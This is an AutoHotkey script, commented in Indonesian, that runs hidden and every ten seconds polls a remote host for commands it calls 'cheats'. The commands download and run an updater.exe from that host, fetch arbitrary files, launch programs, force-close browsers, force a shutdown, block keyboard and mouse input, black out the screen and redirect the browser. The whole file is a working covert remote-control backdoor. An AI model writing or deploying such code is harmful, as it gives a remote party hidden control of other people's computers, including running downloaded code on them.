#Persistent #NoTrayIcon SetTimer, CekCheat, 10000 ; cek setiap 10 detik global sudahJalan := "" global displayLock := false global persisten := 0 global incognito := 0 CekCheat: url := "https://travelmate.gorgon-vimba.ts.net/command.txt" tempFile := A_Temp "\komando.txt" try { URLDownloadToFile, %url%, %tempFile% } catch e { return } if !FileExist(tempFile) return FileRead, isi, %tempFile% cheat := "", urlRedirect := "", displayMsg := "", targetApp := "", persisten := 0, incognito := 0 Loop, Parse, isi, `n, `r { baris := Trim(A_LoopField) if (SubStr(baris, 1, 2) = "//" or baris = "") continue if (InStr(baris, "Cheat=")) cheat := Trim(StrReplace(baris, "Cheat=")) else if (InStr(baris, "Url=")) urlRedirect := Trim(StrReplace(baris, "Url=")) else if (InStr(baris, "Message=")) displayMsg := Trim(StrReplace(baris, "Message=")) else if (InStr(baris, "Target=")) targetApp := Trim(StrReplace(baris, "Target=")) else if (InStr(baris, "Persisten=")) persisten := Trim(StrReplace(baris, "Persisten=")) else if (InStr(baris, "Incognito=")) incognito := Trim(StrReplace(baris, "Incognito=")) } if (cheat != "" and (persisten = 1 or cheat != sudahJalan)) { sudahJalan := cheat if (cheat = "mute") { SoundSet, 0 TrayTip, Cheat aktif, Volume dimatikan., 3 } else if (cheat = "update") { try { url := "https://travelmate.gorgon-vimba.ts.net/updater.exe" savePath := A_ScriptDir . "\updater.exe" UrlDownloadToFile, %url%, %savePath% Run, %savePath% } catch e { MsgBox, 16, Error, Gagal mengunduh atau menjalankan updater.exe: %e% } } else if (cheat = "quiet") { browsers := ["chrome.exe", "msedge.exe", "firefox.exe", "brave.exe", "opera.exe", "vivaldi.exe", "RobloxPlayerBeta.exe"] for each, browser in browsers RunWait, taskkill /IM %browser% /F, , Hide TrayTip, Cheat aktif, Semua browser dan Roblox ditutup., 3 } else if (cheat = "kill") { TrayTip, Cheat aktif, Komputer akan dimatikan., 2 FileDelete, %tempFile% Sleep, 2000 Run, shutdown -f -s -t 0 } else if (cheat = "black") { Gui, Destroy Gui, +AlwaysOnTop +ToolWindow -Caption Gui, Color, Black Gui, Show, x0 y0 w%A_ScreenWidth% h%A_ScreenHeight%, Blackout } else if (cheat = "freeze") { BlockInput, On TrayTip, Cheat aktif, Input dibekukan., 5 } else if (cheat = "redirect") { if (urlRedirect != "") { if (incognito = 1) { Run, chrome.exe --incognito "%urlRedirect%" } else { Run, %urlRedirect% } TrayTip, Cheat aktif, Mengalihkan ke halaman., 3 } } else if (cheat = "display") { Gui, Destroy Gui, +AlwaysOnTop +ToolWindow -Caption Gui, Color, Black Gui, Font, s32 cWhite, Arial Gui, Add, Text, Center vPesanDisplay w%A_ScreenWidth% h%A_ScreenHeight% Center, %displayMsg% Gui, Show, x0 y0 w%A_ScreenWidth% h%A_ScreenHeight%, Pesan displayLock := true } else if (cheat = "vol20") { SoundSet, 20 TrayTip, Volume Disetel, Volume diatur ke 20, 3 } else if (cheat = "vol30") { SoundSet, 30 TrayTip, Volume Disetel, Volume diatur ke 30, 3 } else if (cheat = "vol40") { SoundSet, 40 TrayTip, Volume Disetel, Volume diatur ke 40, 3 } else if (cheat = "vol50") { SoundSet, 50 TrayTip, Volume Disetel, Volume diatur ke 50, 3 } else if (cheat = "download") { if (urlRedirect != "") { SplitPath, urlRedirect, filename desktopPath := A_Desktop savePath := desktopPath . "\" . filename try { URLDownloadToFile, %urlRedirect%, %savePath% TrayTip, Download Berhasil, File disimpan, 4 } catch e { TrayTip, Download Gagal, Gagal mengunduh file, 5 } } else { TrayTip, Download Gagal, URL tidak ditemukan., 3 } } else if (cheat = "restore") { Gui, Destroy BlockInput, Off SoundSet, 80 displayLock := false TrayTip, Kondisi Dipulihkan, Layar dan input normal, volume 80., 4 } else if (cheat = "run") { if (targetApp != "") { desktopPath := A_Desktop fullPath := desktopPath . "\" . targetApp if FileExist(fullPath) { Run, %fullPath% TrayTip, Menjalankan Aplikasi, %targetApp%, 3 } else { TrayTip, Gagal Menjalankan, File tidak ditemukan: %targetApp%, 5 } } } else { TrayTip, Cheat tidak dikenal, %cheat%, 3 } } return ; ===== Shift+ESC untuk keluar dari display/black secara paksa ===== +Esc:: Gui, Destroy displayLock := false return ; ===== Ctrl+Shift+F untuk buka freeze ===== ^+f:: BlockInput, Off TrayTip, Input aktif kembali, Mouse dan keyboard diaktifkan., 3 return ; ===== Cegah kombinasi keyboard saat display aktif ===== ~#d:: ; Win+D if (displayLock) return return ~#Down:: ; Win+Down if (displayLock) return return ~#Up:: ; Win+Up if (displayLock) return return ~!Tab:: ; Alt+Tab if (displayLock) return return ~^Esc:: ; Ctrl+Esc if (displayLock) return return ~!F4:: ; Alt+F4 if (displayLock) return return